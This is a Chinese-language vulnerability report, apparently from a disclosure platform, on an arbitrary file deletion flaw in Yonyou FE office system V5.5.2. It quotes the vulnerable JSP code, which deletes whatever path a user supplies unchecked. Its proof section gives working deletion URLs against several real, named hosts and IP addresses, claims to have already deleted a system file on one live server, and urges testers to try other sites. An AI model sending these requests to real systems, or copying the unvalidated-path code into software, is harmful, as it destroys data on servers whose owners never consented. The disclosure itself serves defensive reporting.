### 简要描述:
用友FE协同办公系统某处验证不严,导致任意文件删除漏洞
### 详细说明:
漏洞影响版本V5.5.2
漏洞文件:/sys/file_setup/deletefolder.jsp?path=
漏洞参数:path
/sys/file_setup/deletefolder.jsp源代码如下:
---------------------------------------------
<%
String path=request.getParameter("path");
if(path==null|| "".equals(path))
path=(String)request.getAttribute("path");
if(path==null||path.equals("")){
out.println("你没有权限访问或者设置根目录,请联系系统管理员");
return;
}
if(path==null)path="";
String delPath=path;
delPath=delPath.replace(java.io.File.separatorChar,'/');
File delFile=new File(delPath);
boolean is=false;
if(delFile.exists()){
is=delFile.delete();
}
if(is){
%>
<script language="javascript">
alert("删除成功!");
var reloadSrc=parent.westFrame;
reloadSrc.location.href=reloadSrc.location.href;
</script>
<%
}
else{
%>
<script language="javascript">
alert("文件被其他人员打开,稍候再删除!");
var reloadSrc=parent.westFrame;
</script>
<%
}
%>
---------------------------------------------------
path参数用户可控,并且没有进行文件路径验证,导致任意文件删除漏洞!
### 漏洞证明:
以http://oa.hzuf.com:9090 作为测试案例:
1)第一次访问:
http://oa.hzuf.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
[<img src="https://images.seebug.org/upload/201409/04190535525a898dd6376899fd2c1c03abdd1b58.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04190535525a898dd6376899fd2c1c03abdd1b58.png)
可以看到系统提示:”删除成功”!
2)第二次访问:
http://oa.hzuf.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
[<img src="https://images.seebug.org/upload/201409/04190625b13fa13aec7894a5788f28da1d726c05.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04190625b13fa13aec7894a5788f28da1d726c05.png)
根据源代码逻辑可以判断,系统文件c:\windows\win.ini已经被成功删除。
c:\windows\win.ini文件已经被删除了,审核测试的时候可以换成其他文件,或者换下其他网站进行测试
其他测试案例:
http://119.145.194.122:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://220.168.210.109:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://oa.chnjcdc.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://oa.shunhengli.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://oa.linya.cn:9099/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
暂无评论